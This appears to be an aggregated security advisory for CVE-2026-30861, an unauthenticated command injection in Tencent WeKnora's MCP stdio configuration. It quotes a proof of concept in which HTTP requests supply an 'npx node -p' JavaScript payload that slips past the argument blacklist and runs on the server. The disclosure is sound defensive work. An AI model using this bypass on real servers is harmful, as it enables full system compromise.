CVE-2026-30861: Github.com/Tencent/WeKnora Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-r55h-3rwj-hcmg
CVSS 10.0
CWE-78
Published
Advisory Summary

CVE-2026-30861 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/Tencent/WeKnora libraries in the Go ecosystem. The issue involves weknora has remote code execution (rce) via command injection in mcp stdio configuration validation. Remediation is available by upgrading affected packages to version 0.2.10.

CVE-2026-30861 at a Glance

CVE Identifier CVE-2026-30861
GHSA Identifier GHSA-r55h-3rwj-hcmg
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Github.com/Tencent/WeKnora
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-30861

To remediate this vulnerability, upgrade all affected Github.com/Tencent/WeKnora dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/Tencent/WeKnora fixed: 0.2.10
Upgrade github.com/Tencent/WeKnora to 0.2.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/Tencent/WeKnora

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-30861, inspect your project dependencies for Github.com/Tencent/WeKnora:

inspect dependencies for github.com/Tencent/WeKnora

Analyze the terminal output to locate any version of Github.com/Tencent/WeKnora in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/Tencent/WeKnora, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5. The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (`npx`, `uvx`) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the `-p` flag with `npx node`. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise. The vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware. ### Details The application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can: 1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned) 2. Obtain API authentication credentials 3. Exploit the command injection vulnerability to execute arbitrary code The security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through: 1. **Command Whitelist**: Only `uvx` and `npx` are allowed 2. **Argument Blacklist**: Blocks dangerous patterns including shells, command chaining, and path traversal 3. **Environment Variable Blacklist**: Restricts sensitive variables like `LD_PRELOAD`, `PATH`, etc. However, the patch has a critical flaw: the `-p` flag in `npx node` is not explicitly blocked in the `DangerousArgPatterns` regex list. The `-p` flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation. The vulnerable code flow: - `ValidateStdioConfig()` calls `ValidateStdioArgs(args)` - `ValidateStdioArgs()` checks each argument against `DangerousArgPatterns` - The pattern list does not include `-p` or similar execution flags - Arguments like `["node", "-p", "require('fs').writeFileSync(...)"]` pass validation - When executed, `npx node -p <payload>` executes the JavaScript payload **Timeline of Concern:** - **Version 2.0.5**: Initial patch introducing validation (incomplete/bypassable) - **Versions 2.0.6-2.0.9**: Vulnerability persists with no public notification - **Version 2.0.10** (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely. - **Issue**: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability This silent fix pattern poses significant risks: - Customers may not know to update immediately - Security scanning tools may not flag the vulnerability without a published CVE - Organisations relying on vendor advisories have no record of the issue - There is no documented attack history or mitigation guidance for affected versions ### PoC **Step 1: Register a new account (unauthenticated)** **Step 2: Create a malicious MCP service** ```http POST /api/v1/mcp-services HTTP/1.1 Host: localhost:8080 Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION] Content-Type: application/json { "name":"rce", "description":"rce", "enabled":true, "transport_type":"stdio", "stdio_config":{ "command":"npx", "args":["node","-p","require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')"] }, "env_vars":{} } ``` Response will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da) **Step 3: Trigger the RCE by testing the service** ```http POST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1 Host: localhost:8080 Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION] Content-Type: application/json {} ``` **Step 4: Verify exploitation** On the server, the file `/tmp/pwned.txt` will be created with content "Hacked by attacker", confirming arbitrary command execution. ### Impact **Severity**: Critical Unauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges. - Full data breach and system compromise - Install malware, backdoors, ransomware - Lateral movement to internal systems - Versions 2.0.5-2.0.9 vulnerable without notification **Immediate Actions**: 1. Upgrade to 2.0.10+ immediately 2. Review logs for exploitation since 2.0.5 3. Check for suspicious MCP configurations 4. Monitor for unauthorized file creation 5. Assume breach if compromise suspected ---

CVE-2026-30861 Affected Github.com/Tencent/WeKnora Versions

1 component(s)
Fixed Versions:
0.2.10
Product / Package Ecosystem Affected Versions Fixed Version
github.com/Tencent/WeKnora
Go
≥ 0.2.5
< 0.2.10
0.2.10

References

Frequently Asked Questions

What is CVE-2026-30861?
CVE-2026-30861 is a security vulnerability in Github.com/Tencent/WeKnora involving WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Github.com/Tencent/WeKnora versions are affected?
Affected versions include releases prior to 0.2.10 across affected packages: github.com/Tencent/WeKnora.
What version fixes CVE-2026-30861?
Upgrading to 0.2.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/Tencent/WeKnora affected?
Yes, github.com/Tencent/WeKnora is affected in releases prior to 0.2.10. Upgrade your dependency to 0.2.10 or later.
What is the CVSS score of CVE-2026-30861?
CVE-2026-30861 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-30861?
CVE-2026-30861 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-30861?
Run the dependency tree command: 'inspect dependencies for github.com/Tencent/WeKnora'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r55h-3rwj-hcmg",
  "modified" : "2026-03-09T13:14:26Z",
  "published" : "2026-03-07T01:59:01Z",
  "aliases" : [ "CVE-2026-30861" ],
  "summary" : "WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation",
  "details" : "### Summary\n\nA critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5. \n\nThe application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (`npx`, `uvx`) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the `-p` flag with `npx node`. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise. \n\nThe vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.\n\n### Details\n\nThe application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:\n1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)\n2. Obtain API authentication credentials\n3. Exploit the command injection vulnerability to execute arbitrary code\n\nThe security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:\n1. **Command Whitelist**: Only `uvx` and `npx` are allowed\n2. **Argument Blacklist**: Blocks dangerous patterns including shells, command chaining, and path traversal\n3. **Environment Variable Blacklist**: Restricts sensitive variables like `LD_PRELOAD`, `PATH`, etc.\n\nHowever, the patch has a critical flaw: the `-p` flag in `npx node` is not explicitly blocked in the `DangerousArgPatterns` regex list. The `-p` flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.\n\nThe vulnerable code flow:\n- `ValidateStdioConfig()` calls `ValidateStdioArgs(args)`\n- `ValidateStdioArgs()` checks each argument against `DangerousArgPatterns`\n- The pattern list does not include `-p` or similar execution flags\n- Arguments like `[\"node\", \"-p\", \"require('fs').writeFileSync(...)\"]` pass validation\n- When executed, `npx node -p <payload>` executes the JavaScript payload\n\n**Timeline of Concern:**\n- **Version 2.0.5**: Initial patch introducing validation (incomplete/bypassable)\n- **Versions 2.0.6-2.0.9**: Vulnerability persists with no public notification\n- **Version 2.0.10** (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.\n- **Issue**: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability\n\nThis silent fix pattern poses significant risks:\n- Customers may not know to update immediately\n- Security scanning tools may not flag the vulnerability without a published CVE\n- Organisations relying on vendor advisories have no record of the issue\n- There is no documented attack history or mitigation guidance for affected versions\n\n### PoC\n\n**Step 1: Register a new account (unauthenticated)**\n\n**Step 2: Create a malicious MCP service**\n\n```http\nPOST /api/v1/mcp-services HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{\n    \"name\":\"rce\",\n    \"description\":\"rce\",\n    \"enabled\":true,\n    \"transport_type\":\"stdio\",\n    \"stdio_config\":{\n        \"command\":\"npx\",\n        \"args\":[\"node\",\"-p\",\"require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')\"]\n    },\n    \"env_vars\":{}\n}\n```\n\nResponse will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)\n\n**Step 3: Trigger the RCE by testing the service**\n\n```http\nPOST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{}\n```\n\n**Step 4: Verify exploitation**\n\nOn the server, the file `/tmp/pwned.txt` will be created with content \"Hacked by attacker\", confirming arbitrary command execution.\n\n### Impact\n\n**Severity**: Critical\n\nUnauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.\n\n- Full data breach and system compromise\n- Install malware, backdoors, ransomware\n- Lateral movement to internal systems\n- Versions 2.0.5-2.0.9 vulnerable without notification\n\n**Immediate Actions**:\n1. Upgrade to 2.0.10+ immediately\n2. Review logs for exploitation since 2.0.5\n3. Check for suspicious MCP configurations\n4. Monitor for unauthorized file creation\n5. Assume breach if compromise suspected\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/Tencent/WeKnora"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.2.5"
      }, {
        "fixed" : "0.2.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Tencent/WeKnora/security/advisories/GHSA-r55h-3rwj-hcmg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30861"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Tencent/WeKnora/commit/57d6fea8bc265ad28b385e0158957c870cff4b50"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Tencent/WeKnora"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-07T01:59:01Z",
    "nvd_published_at" : "2026-03-07T17:15:53Z"
  }
}